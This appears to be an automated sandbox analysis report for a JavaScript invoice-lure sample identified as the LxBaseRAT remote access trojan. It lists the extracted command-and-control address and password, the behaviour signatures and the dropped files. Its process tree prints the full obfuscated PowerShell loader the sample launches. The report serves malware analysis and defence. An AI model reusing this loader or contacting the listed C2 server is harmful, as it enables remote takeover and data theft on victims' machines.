Analysis

  • max time kernel
    148s
  • max time network
    33s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 02:31

General

  • Target
    Scan Copy of INVOICE.js
  • Size 83KB
  • Sample260804-cz6e5abf39
  • SHA256 8c66f4c0b0b3c733363c1a4fa7c1f13a116ea1d7aa21f0809118625f62ed32cd
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • lxbaserat

Version
  • 1.0.22

Botnet
  • Group1

Campaign
  • a960186a4f0446948e640c091cf27a4d

C2
  • lxxlxxnew.noip.at:4055

Attributes
  • directory

    WindowsTelemetry\Logs

  • executable

    client.exe

  • password

    JhJvrFokWE5J7XGvy01o

Signatures

  • Family: LxBaseRAT

    LxBaseRAT is a .NET remote access trojan with stealer capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js"
    1⤵
      PID:4116
    • C:\Windows\system32\cmd.exe
      cmd /c %SYSTEMROOT%\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
      1⤵
      • Process spawned unexpected child process
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1428
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "$j=65-53;$lQyLFW='q4z51uTcYttX';$oJOZYDq='d69483ebfaad8ae4a0b2bb97abbefdccfebc91a797adfec1d6948bd1feabd09a96aca89bb8fb80f0f2b18a8492b0bf95beec8da5a18c9baa86acb786a2cea2f0efb09da69ffee3d280d0b5ebb58c9baa86acb786a2cea2f0efb09da69f8aa782bec3eaa5cfb38df8c1d3d4d6b9a8e4a2bcbba68783bcb391bccbe3f3e1bbb99f8791a7b0eafde2f3ee85878ba7bb86bcebc487afee8a939f9ebc99a4b1fa97f3edbd94ba94bd96a4b2fc97f3f196b987808786bca1d796ddf486a9fcc3bcecc393c788cdf7bacd8bc287b38aabc7a9dde1bbb98fc3bf89bfbccf88d1e185a9f89abc9699bcca97a6f385bb8f89bdeca4afc7bde7ae94b983c6ba99a4b9c683ddf594a6bdb1bdedbcb7fc87d5e8baad8b9c8e8bb4a1fde2c9ef8693b1c692b596b7fa95c9af85a987c2ba999eaec4e0d9e1bccc9f8787b38aeed593f4ac96b9a59e959995bcd784aeeebba9b180958686e2d798d5f7bbb69f8abcb7b099fd98dddebdccf89bbf89c6aecfe3c9e2bc939f86ba9ba0adfc87d9ebbd97fcbebcecb4b0d597fceb90cdf8caf9d3f89afab4b2cfa68eacd3f38a8babfb94fafdb690a087b7b19cfbb68bcbfea78ae7b6b0bd9dbff7bef8c6e5c49ca798e6dc9cfba4ccefad97a794f685b1b4f0a6fae9aba3f3c998ac9db6dcb1ecfee9ca9a87acb79cbcb6f4fdadebd7e0dad3d494aef0b3ebf2b090e997f6fa9ef2e5f4e8a6919bbede91bc98befda4bfd5ba8ae7a4bbbcb1b7f7b5f1efe4d68e96aaf3a0baf0b4f0f6ffdaa5d3f39d9daef0a4bfbfb3d08a9cabb086f2e2f5e4efad87b281bbaa87a9f0f0bbecf1baa684b0b29dbafa94feefbed6edacf7a391baeab3f7e0a283b4fed4b887b5fda4f6f4b1dea0dbfabfdeffeafcbbf6f3dab9ce9ef6dbf2e5f4e6a684aea192b0aa9db6d9b1ebfe82c4f3bfb1bf969aeda3faf6bd92b0dbfabfdbe0ba82a2bfa6d08e96aa8a8babfba3b7b2a3c1b2d781f0b4aef2bcd1fab29be9debbafd2ffeaada4bfb1c3eda1f09997afd3b5ebf3b09ae1d7b3f2da';$xbn9HE='fzNKBghFYkJlTk8jZghBBA1OZnBgQEZ+eUZ/FQZMaFUgb05jdBRNDA1DLWV4QFVkR01mDhdUYFhvRAYkDVoLD1lJZx4tBU8jbRJ8FAVUaFUlWnpMRxVGFgVUbkRRGxtOVgROFAFpb0V4QE9uQUkLMk1dOhJiD2hjUg5EBUwEbhooUQhwKWsiakBLPHYkCQZlUBUIQE8AJkY2Dg48HVMBUlEVLwc1FA88EVkACQlHLgciS1FqA0gDSENIdUJ8Gw4iFVgdTlYVNBg9GBQjFVQfTw1NZhk9D0t9Q0YGTEwHaUJ4URsiC1MfWUoVNRg9ERIjFVIfTw1NZhk9D0t9Q0YGSWkqaFAkCQVqGQUPRA8JLFdiRQkpUFx0NAFYdRhJT0JiQAhBBzkaO2NYZxkjYwRbMxBSaFhrCQVqDUgCDQVUYl4rHR1ecCAIQE8AJmRYHx8lCksQSVgcRHgrAQotAyURXkMJejsGAQEpQwZJQFkAJkJ0VQ9oQQVNAwYXNQE/GUcgFVkWWUkTMAI4DBU5QAICA1YWYAA+FkciVwVODwhQdBlhTkIjVg5bARZFb1NrTVN4QQZODQ0Ob1JvDg43VwZcBg9HZ15qUkd+QEYPW0QEZlFqARwtAAZIBkpzdFR/VVNkSgYHUEgAJVFrRw9BQQ9IFAwALBY9EwgALkVDQFkAJgUrARoALkVCGVkHbE98U05qVgBCTixPJhYnAQZgQQRcR18tCxYsAQFkBEl0IwtOd1N+VXw3HiddDwliYEVpFxVeUBNGDgMIJXttVUJlQRJ0UTkJKBYoTFgtAxNaDhdTJhZMCQVqQwcDQEBMLRYrbFJ9RyRBB0MMIRFNUVFBRRRBAwwHLRYrEQYtCEEIGFIUJh8BKwEtBEFoBRANUURjQkR+Vx1cDxZUIXVcdAEgQARcAxhTZFppQlUtCQdGEhdUIQNwR1UtagBCBUhjUWMsXCwHKWsPQEQAIRYsAQEt';$kmSbx8=0xD132-0x2147;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0xAA)};$vWftq5b1A=$t5krJysa8;$t5krJysa8=@();foreach($c in [char[]]$lQyLFW){$t5krJysa8+=[byte]($c-bxor0x55)};$fT3Dke=$t5krJysa8;$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$oJOZYDq.Length;$j+=2){$t5krJysa8oldR+=[char](([Convert]::ToInt32($oJOZYDq.Substring($j,2),16))-bxor$vWftq5b1A[$i++%$vWftq5b1A.Length])};$z8yycO2zJ=$t5krJysa8oldR;$t5krJysa8oldB=[Convert]::FromBase64String([regex]::Replace($xbn9HE, '$t5krJysa8', ''));$t5krJysa8oldR='';$i=0;for($j=0;$j-lt$t5krJysa8oldB.Length;$j++){$t5krJysa8oldR+=[char]($t5krJysa8oldB[$j]-bxor$fT3Dke[$i++%$fT3Dke.Length])};$lrI20dCl=$t5krJysa8oldR;$pRpKgye=$z8yycO2zJ+$lrI20dCl;.($env:ComSpec[4,26,25]-join'') $pRpKgye"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Scan Copy of INVOICE.js' -Destination 'C:\ProgramData\MspcEng.js' -Force"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1560
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2852
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8514.tmp" "c:\Users\Admin\AppData\Local\Temp\irwjg2vk\CSCD851C0E8849A41DC929C7FD971AD1471.TMP"
            4⤵
              PID:3280
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:716
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
              4⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4436
              • C:\Windows\System32\taskkill.exe
                taskkill /IM RegAsm.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5396
              • C:\Windows\System32\taskkill.exe
                taskkill /IM Vbc.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:3384
              • C:\Windows\System32\taskkill.exe
                taskkill /IM MsBuild.exe /F
                5⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5144
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe"
            3⤵
              PID:3528
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k GPSvcGroup
          1⤵
            PID:5272

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 85cc2152b8554cac3352c9cf3cb30a79ad427309940cabc2b3a4c496084f8dc5
                • MD5 SHA1 SHA512 TLSH

                RES8514.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES8514.tmp
                • Size 1KB
                • SHA256 52294719da0245970d9e3d9cbff517ce208fe973c915c711d0218769042b014d
                • MD5 SHA1 SHA512 TLSH

                irwjg2vk.dll

                • Path C:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.dll
                • Size 3KB
                • SHA256 5c52f70936ae24a7268e2894e4a648f65c3b9cf95620122aa705b04245d56597
                • MD5 SHA1 SHA512 TLSH

                CSCD851C0E8849A41DC929C7FD971AD1471.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\CSCD851C0E8849A41DC929C7FD971AD1471.TMP
                • Size 652B
                • SHA256 449d3cf5fd2c2b8ea4e2ea3de42f65e0358f3dfd1b9bd5f8dd135d541a4eb003
                • MD5 SHA1 SHA512 TLSH

                irwjg2vk.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.0.cs
                • Size 213B
                • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
                • MD5 SHA1 SHA512 TLSH

                irwjg2vk.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\irwjg2vk\irwjg2vk.cmdline
                • Size 369B
                • SHA256 15b93835d1744ca3b300f9d0511b1058e1c45766ce604eb7166b8fef5acab013
                • MD5 SHA1 SHA512 TLSH

                memory/716-45-0x000002A4762D0000-0x000002A47634C000-memory.dmp

                memory/1560-27-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-32-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-10-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-9-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-8-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-24-0x0000017351700000-0x0000017351708000-memory.dmp

                memory/1560-7-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-6-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-25-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-26-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-0-0x00007FFBFB7DF000-0x00007FFBFB7E0000-memory.dmp

                memory/1560-28-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-29-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-30-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-31-0x000001734FCD0000-0x000001734FCEA000-memory.dmp

                memory/1560-11-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-33-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-36-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-37-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-35-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-34-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-41-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-42-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-5-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-3-0x0000017351660000-0x0000017351682000-memory.dmp

                memory/1560-50-0x000001736A250000-0x000001736A2CC000-memory.dmp

                memory/1560-4-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/1560-51-0x00007FFBFB650000-0x00007FFBFBFF4000-memory.dmp

                memory/3528-46-0x0000000000400000-0x000000000047C000-memory.dmp